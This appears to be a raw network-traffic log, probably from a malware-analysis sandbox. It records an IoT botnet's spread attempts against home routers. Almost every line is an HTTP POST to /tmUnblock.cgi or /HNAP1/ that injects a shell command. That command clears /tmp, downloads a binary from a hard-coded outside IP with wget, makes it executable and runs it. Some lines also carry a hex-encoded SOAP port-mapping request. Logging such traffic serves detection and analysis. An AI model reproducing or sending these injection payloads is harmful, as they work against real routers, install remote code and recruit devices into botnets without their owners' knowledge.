Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
